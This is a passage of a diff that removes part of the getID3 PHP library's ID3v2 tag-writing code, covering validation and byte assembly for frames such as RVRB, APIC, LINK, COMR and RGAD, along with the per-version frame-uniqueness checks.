right to left $xx - if (!$this->IsWithinBitRange($source_data_array['left'], 16, false)) { - $this->errors[] = 'Invalid Reverb Left in '.$frame_name.' ('.$source_data_array['left'].') (range = 0 to 65535)'; - } elseif (!$this->IsWithinBitRange($source_data_array['right'], 16, false)) { - $this->errors[] = 'Invalid Reverb Left in '.$frame_name.' ('.$source_data_array['right'].') (range = 0 to 65535)'; - } elseif (!$this->IsWithinBitRange($source_data_array['bouncesL'], 8, false)) { - $this->errors[] = 'Invalid Reverb Bounces, Left in '.$frame_name.' ('.$source_data_array['bouncesL'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['bouncesR'], 8, false)) { - $this->errors[] = 'Invalid Reverb Bounces, Right in '.$frame_name.' ('.$source_data_array['bouncesR'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['feedbackLL'], 8, false)) { - $this->errors[] = 'Invalid Reverb Feedback, Left-To-Left in '.$frame_name.' ('.$source_data_array['feedbackLL'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['feedbackLR'], 8, false)) { - $this->errors[] = 'Invalid Reverb Feedback, Left-To-Right in '.$frame_name.' ('.$source_data_array['feedbackLR'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['feedbackRR'], 8, false)) { - $this->errors[] = 'Invalid Reverb Feedback, Right-To-Right in '.$frame_name.' ('.$source_data_array['feedbackRR'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['feedbackRL'], 8, false)) { - $this->errors[] = 'Invalid Reverb Feedback, Right-To-Left in '.$frame_name.' ('.$source_data_array['feedbackRL'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['premixLR'], 8, false)) { - $this->errors[] = 'Invalid Premix, Left-To-Right in '.$frame_name.' ('.$source_data_array['premixLR'].') (range = 0 to 255)'; - } elseif (!$this->IsWithinBitRange($source_data_array['premixRL'], 8, false)) { - $this->errors[] = 'Invalid Premix, Right-To-Left in '.$frame_name.' ('.$source_data_array['premixRL'].') (range = 0 to 255)'; - } else { - $framedata .= getid3_lib::BigEndian2String($source_data_array['left'], 2, false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['right'], 2, false); - $framedata .= chr($source_data_array['bouncesL']); - $framedata .= chr($source_data_array['bouncesR']); - $framedata .= chr($source_data_array['feedbackLL']); - $framedata .= chr($source_data_array['feedbackLR']); - $framedata .= chr($source_data_array['feedbackRR']); - $framedata .= chr($source_data_array['feedbackRL']); - $framedata .= chr($source_data_array['premixLR']); - $framedata .= chr($source_data_array['premixRL']); - } - break; - - case 'APIC': - // 4.14 APIC Attached picture - // Text encoding $xx - // MIME type $00 - // Picture type $xx - // Description $00 (00) - // Picture data - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } elseif (!$this->ID3v2IsValidAPICpicturetype($source_data_array['picturetypeid'])) { - $this->errors[] = 'Invalid Picture Type byte in '.$frame_name.' ('.$source_data_array['picturetypeid'].') for ID3v2.'.$this->majorversion; - } elseif ((!$this->ID3v2IsValidAPICimageformat($source_data_array['mime']))) { - $this->errors[] = 'Invalid MIME Type in '.$frame_name.' ('.$source_data_array['mime'].') for ID3v2.'.$this->majorversion; - } elseif (($source_data_array['mime'] == '-->') && (!$this->IsValidURL($source_data_array['data'], false))) { - //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - // probably should be an error, need to rewrite IsValidURL() to handle other encodings - $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= str_replace("\x00", '', $source_data_array['mime'])."\x00"; - $framedata .= chr($source_data_array['picturetypeid']); - $framedata .= (!empty($source_data_array['description']) ? $source_data_array['description'] : '').getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'GEOB': - // 4.15 GEOB General encapsulated object - // Text encoding $xx - // MIME type $00 - // Filename $00 (00) - // Content description $00 (00) - // Encapsulated object - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } elseif (!$this->IsValidMIMEstring($source_data_array['mime'])) { - $this->errors[] = 'Invalid MIME Type in '.$frame_name.' ('.$source_data_array['mime'].')'; - } elseif (!$source_data_array['description']) { - $this->errors[] = 'Missing Description in '.$frame_name; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= str_replace("\x00", '', $source_data_array['mime'])."\x00"; - $framedata .= $source_data_array['filename'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'PCNT': - // 4.16 PCNT Play counter - // When the counter reaches all one's, one byte is inserted in - // front of the counter thus making the counter eight bits bigger - // Counter $xx xx xx xx (xx ...) - $framedata .= getid3_lib::BigEndian2String($source_data_array['data'], 4, false); - break; - - case 'POPM': - // 4.17 POPM Popularimeter - // When the counter reaches all one's, one byte is inserted in - // front of the counter thus making the counter eight bits bigger - // Email to user $00 - // Rating $xx - // Counter $xx xx xx xx (xx ...) - if (!$this->IsValidEmail($source_data_array['email'])) { - // https://github.com/JamesHeinrich/getID3/issues/216 - // https://en.wikipedia.org/wiki/ID3#ID3v2_rating_tag_issue - // ID3v2 specs say it should be an email address, but Windows instead uses string like "Windows Media Player 9 Series" - $this->warnings[] = 'Invalid Email in '.$frame_name.' ('.$source_data_array['email'].')'; - } - if (!$this->IsWithinBitRange($source_data_array['rating'], 8, false)) { - $this->errors[] = 'Invalid Rating byte in '.$frame_name.' ('.$source_data_array['rating'].') (range = 0 to 255)'; - } else { - $framedata .= str_replace("\x00", '', $source_data_array['email'])."\x00"; - $framedata .= chr($source_data_array['rating']); - $framedata .= getid3_lib::BigEndian2String($source_data_array['data'], 4, false); - } - break; - - case 'RBUF': - // 4.18 RBUF Recommended buffer size - // Buffer size $xx xx xx - // Embedded info flag %0000000x - // Offset to next tag $xx xx xx xx - if (!$this->IsWithinBitRange($source_data_array['buffersize'], 24, false)) { - $this->errors[] = 'Invalid Buffer Size in '.$frame_name; - } elseif (!$this->IsWithinBitRange($source_data_array['nexttagoffset'], 32, false)) { - $this->errors[] = 'Invalid Offset To Next Tag in '.$frame_name; - } else { - $framedata .= getid3_lib::BigEndian2String($source_data_array['buffersize'], 3, false); - $flag = '0000000'; - $flag .= $source_data_array['flags']['embededinfo'] ? '1' : '0'; - $framedata .= chr(bindec($flag)); - $framedata .= getid3_lib::BigEndian2String($source_data_array['nexttagoffset'], 4, false); - } - break; - - case 'AENC': - // 4.19 AENC Audio encryption - // Owner identifier $00 - // Preview start $xx xx - // Preview length $xx xx - // Encryption info - if (!$this->IsWithinBitRange($source_data_array['previewstart'], 16, false)) { - $this->errors[] = 'Invalid Preview Start in '.$frame_name.' ('.$source_data_array['previewstart'].')'; - } elseif (!$this->IsWithinBitRange($source_data_array['previewlength'], 16, false)) { - $this->errors[] = 'Invalid Preview Length in '.$frame_name.' ('.$source_data_array['previewlength'].')'; - } else { - $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; - $framedata .= getid3_lib::BigEndian2String($source_data_array['previewstart'], 2, false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['previewlength'], 2, false); - $framedata .= $source_data_array['encryptioninfo']; - } - break; - - case 'LINK': - // 4.20 LINK Linked information - // Frame identifier $xx xx xx xx - // URL $00 - // ID and additional data - if (!getid3_id3v2::IsValidID3v2FrameName($source_data_array['frameid'], $this->majorversion)) { - $this->errors[] = 'Invalid Frame Identifier in '.$frame_name.' ('.$source_data_array['frameid'].')'; - } elseif (!$this->IsValidURL($source_data_array['data'], true)) { - //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - // probably should be an error, need to rewrite IsValidURL() to handle other encodings - $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - } elseif ((($source_data_array['frameid'] == 'AENC') || ($source_data_array['frameid'] == 'APIC') || ($source_data_array['frameid'] == 'GEOB') || ($source_data_array['frameid'] == 'TXXX')) && ($source_data_array['additionaldata'] == '')) { - $this->errors[] = 'Content Descriptor must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; - } elseif (($source_data_array['frameid'] == 'USER') && (getid3_id3v2::LanguageLookup($source_data_array['additionaldata'], true) == '')) { - $this->errors[] = 'Language must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; - } elseif (($source_data_array['frameid'] == 'PRIV') && ($source_data_array['additionaldata'] == '')) { - $this->errors[] = 'Owner Identifier must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; - } elseif ((($source_data_array['frameid'] == 'COMM') || ($source_data_array['frameid'] == 'SYLT') || ($source_data_array['frameid'] == 'USLT')) && ((getid3_id3v2::LanguageLookup(substr($source_data_array['additionaldata'], 0, 3), true) == '') || (substr($source_data_array['additionaldata'], 3) == ''))) { - $this->errors[] = 'Language followed by Content Descriptor must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; - } else { - $framedata .= $source_data_array['frameid']; - $framedata .= str_replace("\x00", '', $source_data_array['data'])."\x00"; - switch ($source_data_array['frameid']) { - case 'COMM': - case 'SYLT': - case 'USLT': - case 'PRIV': - case 'USER': - case 'AENC': - case 'APIC': - case 'GEOB': - case 'TXXX': - $framedata .= $source_data_array['additionaldata']; - break; - case 'ASPI': - case 'ETCO': - case 'EQU2': - case 'MCID': - case 'MLLT': - case 'OWNE': - case 'RVA2': - case 'RVRB': - case 'SYTC': - case 'IPLS': - case 'RVAD': - case 'EQUA': - // no additional data required - break; - case 'RBUF': - if ($this->majorversion == 3) { - // no additional data required - } else { - $this->errors[] = $source_data_array['frameid'].' is not a valid Frame Identifier in '.$frame_name.' (in ID3v2.'.$this->majorversion.')'; - } - break; - - default: - if ((substr($source_data_array['frameid'], 0, 1) == 'T') || (substr($source_data_array['frameid'], 0, 1) == 'W')) { - // no additional data required - } else { - $this->errors[] = $source_data_array['frameid'].' is not a valid Frame Identifier in '.$frame_name.' (in ID3v2.'.$this->majorversion.')'; - } - break; - } - } - break; - - case 'POSS': - // 4.21 POSS Position synchronisation frame (ID3v2.3+ only) - // Time stamp format $xx - // Position $xx (xx ...) - if (($source_data_array['timestampformat'] < 1) || ($source_data_array['timestampformat'] > 2)) { - $this->errors[] = 'Invalid Time Stamp Format in '.$frame_name.' ('.$source_data_array['timestampformat'].') (valid = 1 or 2)'; - } elseif (!$this->IsWithinBitRange($source_data_array['position'], 32, false)) { - $this->errors[] = 'Invalid Position in '.$frame_name.' ('.$source_data_array['position'].') (range = 0 to 4294967295)'; - } else { - $framedata .= chr($source_data_array['timestampformat']); - $framedata .= getid3_lib::BigEndian2String($source_data_array['position'], 4, false); - } - break; - - case 'USER': - // 4.22 USER Terms of use (ID3v2.3+ only) - // Text encoding $xx - // Language $xx xx xx - // The actual text - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].')'; - } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { - $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= strtolower($source_data_array['language']); - $framedata .= $source_data_array['data']; - } - break; - - case 'OWNE': - // 4.23 OWNE Ownership frame (ID3v2.3+ only) - // Text encoding $xx - // Price paid $00 - // Date of purch. - // Seller - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].')'; - } elseif (!getid3_id3v2::IsANumber($source_data_array['pricepaid']['value'], false)) { - $this->errors[] = 'Invalid Price Paid in '.$frame_name.' ('.$source_data_array['pricepaid']['value'].')'; - } elseif (!getid3_id3v2::IsValidDateStampString($source_data_array['purchasedate'])) { - $this->errors[] = 'Invalid Date Of Purchase in '.$frame_name.' ('.$source_data_array['purchasedate'].') (format = YYYYMMDD)'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= str_replace("\x00", '', $source_data_array['pricepaid']['value'])."\x00"; - $framedata .= $source_data_array['purchasedate']; - $framedata .= $source_data_array['seller']; - } - break; - - case 'COMR': - // 4.24 COMR Commercial frame (ID3v2.3+ only) - // Text encoding $xx - // Price string $00 - // Valid until - // Contact URL $00 - // Received as $xx - // Name of seller $00 (00) - // Description $00 (00) - // Picture MIME type $00 - // Seller logo - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].')'; - } elseif (!getid3_id3v2::IsValidDateStampString($source_data_array['pricevaliduntil'])) { - $this->errors[] = 'Invalid Valid Until date in '.$frame_name.' ('.$source_data_array['pricevaliduntil'].') (format = YYYYMMDD)'; - } elseif (!$this->IsValidURL($source_data_array['contacturl'], false)) { - $this->errors[] = 'Invalid Contact URL in '.$frame_name.' ('.$source_data_array['contacturl'].') (allowed schemes: http, https, ftp, mailto)'; - } elseif (!$this->ID3v2IsValidCOMRreceivedAs($source_data_array['receivedasid'])) { - $this->errors[] = 'Invalid Received As byte in '.$frame_name.' ('.$source_data_array['contacturl'].') (range = 0 to 8)'; - } elseif (!$this->IsValidMIMEstring($source_data_array['mime'])) { - $this->errors[] = 'Invalid MIME Type in '.$frame_name.' ('.$source_data_array['mime'].')'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $pricestrings = array(); - foreach ($source_data_array['price'] as $key => $val) { - if ($this->ID3v2IsValidPriceString($key.$val['value'])) { - $pricestrings[] = $key.$val['value']; - } else { - $this->errors[] = 'Invalid Price String in '.$frame_name.' ('.$key.$val['value'].')'; - } - } - $framedata .= implode('/', $pricestrings); - $framedata .= $source_data_array['pricevaliduntil']; - $framedata .= str_replace("\x00", '', $source_data_array['contacturl'])."\x00"; - $framedata .= chr($source_data_array['receivedasid']); - $framedata .= $source_data_array['sellername'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['mime']."\x00"; - $framedata .= $source_data_array['logo']; - } - break; - - case 'ENCR': - // 4.25 ENCR Encryption method registration (ID3v2.3+ only) - // Owner identifier $00 - // Method symbol $xx - // Encryption data - if (!$this->IsWithinBitRange($source_data_array['methodsymbol'], 8, false)) { - $this->errors[] = 'Invalid Group Symbol in '.$frame_name.' ('.$source_data_array['methodsymbol'].') (range = 0 to 255)'; - } else { - $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; - $framedata .= ord($source_data_array['methodsymbol']); - $framedata .= $source_data_array['data']; - } - break; - - case 'GRID': - // 4.26 GRID Group identification registration (ID3v2.3+ only) - // Owner identifier $00 - // Group symbol $xx - // Group dependent data - if (!$this->IsWithinBitRange($source_data_array['groupsymbol'], 8, false)) { - $this->errors[] = 'Invalid Group Symbol in '.$frame_name.' ('.$source_data_array['groupsymbol'].') (range = 0 to 255)'; - } else { - $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; - $framedata .= ord($source_data_array['groupsymbol']); - $framedata .= $source_data_array['data']; - } - break; - - case 'PRIV': - // 4.27 PRIV Private frame (ID3v2.3+ only) - // Owner identifier $00 - // The private data - $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; - $framedata .= $source_data_array['data']; - break; - - case 'SIGN': - // 4.28 SIGN Signature frame (ID3v2.4+ only) - // Group symbol $xx - // Signature - if (!$this->IsWithinBitRange($source_data_array['groupsymbol'], 8, false)) { - $this->errors[] = 'Invalid Group Symbol in '.$frame_name.' ('.$source_data_array['groupsymbol'].') (range = 0 to 255)'; - } else { - $framedata .= ord($source_data_array['groupsymbol']); - $framedata .= $source_data_array['data']; - } - break; - - case 'SEEK': - // 4.29 SEEK Seek frame (ID3v2.4+ only) - // Minimum offset to next tag $xx xx xx xx - if (!$this->IsWithinBitRange($source_data_array['data'], 32, false)) { - $this->errors[] = 'Invalid Minimum Offset in '.$frame_name.' ('.$source_data_array['data'].') (range = 0 to 4294967295)'; - } else { - $framedata .= getid3_lib::BigEndian2String($source_data_array['data'], 4, false); - } - break; - - case 'ASPI': - // 4.30 ASPI Audio seek point index (ID3v2.4+ only) - // Indexed data start (S) $xx xx xx xx - // Indexed data length (L) $xx xx xx xx - // Number of index points (N) $xx xx - // Bits per index point (b) $xx - // Then for every index point the following data is included: - // Fraction at index (Fi) $xx (xx) - if (!$this->IsWithinBitRange($source_data_array['datastart'], 32, false)) { - $this->errors[] = 'Invalid Indexed Data Start in '.$frame_name.' ('.$source_data_array['datastart'].') (range = 0 to 4294967295)'; - } elseif (!$this->IsWithinBitRange($source_data_array['datalength'], 32, false)) { - $this->errors[] = 'Invalid Indexed Data Length in '.$frame_name.' ('.$source_data_array['datalength'].') (range = 0 to 4294967295)'; - } elseif (!$this->IsWithinBitRange($source_data_array['indexpoints'], 16, false)) { - $this->errors[] = 'Invalid Number Of Index Points in '.$frame_name.' ('.$source_data_array['indexpoints'].') (range = 0 to 65535)'; - } elseif (!$this->IsWithinBitRange($source_data_array['bitsperpoint'], 8, false)) { - $this->errors[] = 'Invalid Bits Per Index Point in '.$frame_name.' ('.$source_data_array['bitsperpoint'].') (range = 0 to 255)'; - } elseif ($source_data_array['indexpoints'] != count($source_data_array['indexes'])) { - $this->errors[] = 'Number Of Index Points does not match actual supplied data in '.$frame_name; - } else { - $framedata .= getid3_lib::BigEndian2String($source_data_array['datastart'], 4, false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['datalength'], 4, false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['indexpoints'], 2, false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['bitsperpoint'], 1, false); - foreach ($source_data_array['indexes'] as $key => $val) { - $framedata .= getid3_lib::BigEndian2String($val, ceil($source_data_array['bitsperpoint'] / 8), false); - } - } - break; - - case 'RGAD': - // RGAD Replay Gain Adjustment - // http://privatewww.essex.ac.uk/~djmrob/replaygain/ - // Peak Amplitude $xx $xx $xx $xx - // Radio Replay Gain Adjustment %aaabbbcd %dddddddd - // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd - // a - name code - // b - originator code - // c - sign bit - // d - replay gain adjustment - - if (($source_data_array['track_adjustment'] > 51) || ($source_data_array['track_adjustment'] < -51)) { - $this->errors[] = 'Invalid Track Adjustment in '.$frame_name.' ('.$source_data_array['track_adjustment'].') (range = -51.0 to +51.0)'; - } elseif (($source_data_array['album_adjustment'] > 51) || ($source_data_array['album_adjustment'] < -51)) { - $this->errors[] = 'Invalid Album Adjustment in '.$frame_name.' ('.$source_data_array['album_adjustment'].') (range = -51.0 to +51.0)'; - } elseif (!$this->ID3v2IsValidRGADname($source_data_array['raw']['track_name'])) { - $this->errors[] = 'Invalid Track Name Code in '.$frame_name.' ('.$source_data_array['raw']['track_name'].') (range = 0 to 2)'; - } elseif (!$this->ID3v2IsValidRGADname($source_data_array['raw']['album_name'])) { - $this->errors[] = 'Invalid Album Name Code in '.$frame_name.' ('.$source_data_array['raw']['album_name'].') (range = 0 to 2)'; - } elseif (!$this->ID3v2IsValidRGADoriginator($source_data_array['raw']['track_originator'])) { - $this->errors[] = 'Invalid Track Originator Code in '.$frame_name.' ('.$source_data_array['raw']['track_originator'].') (range = 0 to 3)'; - } elseif (!$this->ID3v2IsValidRGADoriginator($source_data_array['raw']['album_originator'])) { - $this->errors[] = 'Invalid Album Originator Code in '.$frame_name.' ('.$source_data_array['raw']['album_originator'].') (range = 0 to 3)'; - } else { - $framedata .= getid3_lib::Float2String($source_data_array['peakamplitude'], 32); - $framedata .= getid3_lib::RGADgainString($source_data_array['raw']['track_name'], $source_data_array['raw']['track_originator'], $source_data_array['track_adjustment']); - $framedata .= getid3_lib::RGADgainString($source_data_array['raw']['album_name'], $source_data_array['raw']['album_originator'], $source_data_array['album_adjustment']); - } - break; - - default: - if (/*(($this->majorversion == 2) && (strlen($frame_name) != 3)) || (($this->majorversion > 2) && (*/strlen($frame_name) != 4/*))*/) { - $this->errors[] = 'Invalid frame name "'.$frame_name.'" for ID3v2.'.$this->majorversion; - } elseif ($frame_name[0] == 'T') { - // 4.2. T??? Text information frames - // Text encoding $xx - // Information - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - } elseif ($frame_name[0] == 'W') { - // 4.3. W??? URL link frames - // URL - if (!$this->IsValidURL($source_data_array['data'], false)) { - //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - // probably should be an error, need to rewrite IsValidURL() to handle other encodings - $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - } else { - $framedata .= $source_data_array['data']; - } - } else { - $this->errors[] = $frame_name.' not yet supported in $this->GenerateID3v2FrameData()'; - } - break; - } - } - if (!empty($this->errors)) { - return false; - } - return $framedata; - } - - /** - * @param string|null $frame_name - * @param array $source_data_array - * - * @return bool - */ - public function ID3v2FrameIsAllowed($frame_name, $source_data_array) { - static $PreviousFrames = array(); - - if ($frame_name === null) { - // if the writing functions are called multiple times, the static array needs to be - // cleared - this can be done by calling $this->ID3v2FrameIsAllowed(null, '') - $PreviousFrames = array(); - return true; - } - if ($this->majorversion == 4) { - switch ($frame_name) { - case 'UFID': - case 'AENC': - case 'ENCR': - case 'GRID': - if (!isset($source_data_array['ownerid'])) { - $this->errors[] = '[ownerid] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['ownerid'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID ('.$source_data_array['ownerid'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['ownerid']; - } - break; - - case 'TXXX': - case 'WXXX': - case 'RVA2': - case 'EQU2': - case 'APIC': - case 'GEOB': - if (!isset($source_data_array['description'])) { - $this->errors[] = '[description] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['description'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Description ('.$source_data_array['description'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['description']; - } - break; - - case 'USER': - if (!isset($source_data_array['language'])) { - $this->errors[] = '[language] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['language'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language ('.$source_data_array['language'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['language']; - } - break; - - case 'USLT': - case 'SYLT': - case 'COMM': - if (!isset($source_data_array['language'])) { - $this->errors[] = '[language] not specified for '.$frame_name; - } elseif (!isset($source_data_array['description'])) { - $this->errors[] = '[description] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['language'].$source_data_array['description'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language + Description ('.$source_data_array['language'].' + '.$source_data_array['description'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['language'].$source_data_array['description']; - } - break; - - case 'POPM': - if (!isset($source_data_array['email'])) { - $this->errors[] = '[email] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['email'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Email ('.$source_data_array['email'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['email']; - } - break; - - case 'IPLS': - case 'MCDI': - case 'ETCO': - case 'MLLT': - case 'SYTC': - case 'RVRB': - case 'PCNT': - case 'RBUF': - case 'POSS': - case 'OWNE': - case 'SEEK': - case 'ASPI': - case 'RGAD': - if (in_array($frame_name, $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed'; - } else { - $PreviousFrames[] = $frame_name; - } - break; - - case 'LINK': - // this isn't implemented quite right (yet) - it should check the target frame data for compliance - // but right now it just allows one linked frame of each type, to be safe. - if (!isset($source_data_array['frameid'])) { - $this->errors[] = '[frameid] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['frameid'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same FrameID ('.$source_data_array['frameid'].')'; - } elseif (in_array($source_data_array['frameid'], $PreviousFrames)) { - // no links to singleton tags - $this->errors[] = 'Cannot specify a '.$frame_name.' tag to a singleton tag that already exists ('.$source_data_array['frameid'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['frameid']; // only one linked tag of this type - $PreviousFrames[] = $source_data_array['frameid']; // no non-linked singleton tags of this type - } - break; - - case 'COMR': - // There may be more than one 'commercial frame' in a tag, but no two may be identical - // Checking isn't implemented at all (yet) - just assumes that it's OK. - break; - - case 'PRIV': - case 'SIGN': - if (!isset($source_data_array['ownerid'])) { - $this->errors[] = '[ownerid] not specified for '.$frame_name; - } elseif (!isset($source_data_array['data'])) { - $this->errors[] = '[data] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['ownerid'].$source_data_array['data'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID + Data ('.$source_data_array['ownerid'].' + '.$source_data_array['data'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['ownerid'].$source_data_array['data']; - } - break; - - default: - if (($frame_name[0] != 'T') && ($frame_name[0] != 'W')) { - $this->errors[] = 'Frame not allowed in ID3v2.'.$this->majorversion.': '.$frame_name; - } - break; - } - - } elseif ($this->majorversion == 3) { - - switch ($frame_name) { - case 'UFID': - case 'AENC': - case 'ENCR': - case 'GRID': - if (!isset($source_data_array['ownerid'])) { - $this->errors[] = '[ownerid] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['ownerid'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID ('.$source_data_array['ownerid'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['ownerid']; - } - break; - - case 'TXXX': - case 'WXXX': - case 'APIC': - case 'GEOB': - if (!isset($source_data_array['description'])) { - $this->errors[] = '[description] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['description'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Description ('.$source_data_array['description'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['description']; - } - break; - - case 'USER': - if (!isset($source_data_array['language'])) { - $this->errors[] = '[language] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['language'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language ('.$source_data_array['language'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['language']; - } - break; - - case 'USLT': - case 'SYLT': - case 'COMM': - if (!isset($source_data_array['language'])) { - $this->errors[] = '[language] not specified for '.$frame_name; - } elseif (!isset($source_data_array['description'])) { - $this->errors[] = '[description] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['language'].$source_data_array['description'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language + Description ('.$source_data_array['language'].' + '.$source_data_array['description'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['language'].$source_data_array['description']; - } - break; - - case 'POPM': - if (!isset($source_data_array['email'])) { - $this->errors[] = '[email] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['email'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Email ('.$source_data_array['email'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['email']; - } - break; - - case 'IPLS': - case 'MCDI': - case 'ETCO': - case 'MLLT': - case 'SYTC': - case 'RVAD': - case 'EQUA': - case 'RVRB': - case 'PCNT': - case 'RBUF': - case 'POSS': - case 'OWNE': - case 'RGAD': - if (in_array($frame_name, $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed'; - } else { - $PreviousFrames[] = $frame_name; - } - break; - - case 'LINK': - // this isn't implemented quite right (yet) - it should check the target frame data for compliance - // but right now it just allows one linked frame of each type, to be safe. - if (!isset($source_data_array['frameid'])) { - $this->errors[] = '[frameid] not specified for '.$frame_name; - } 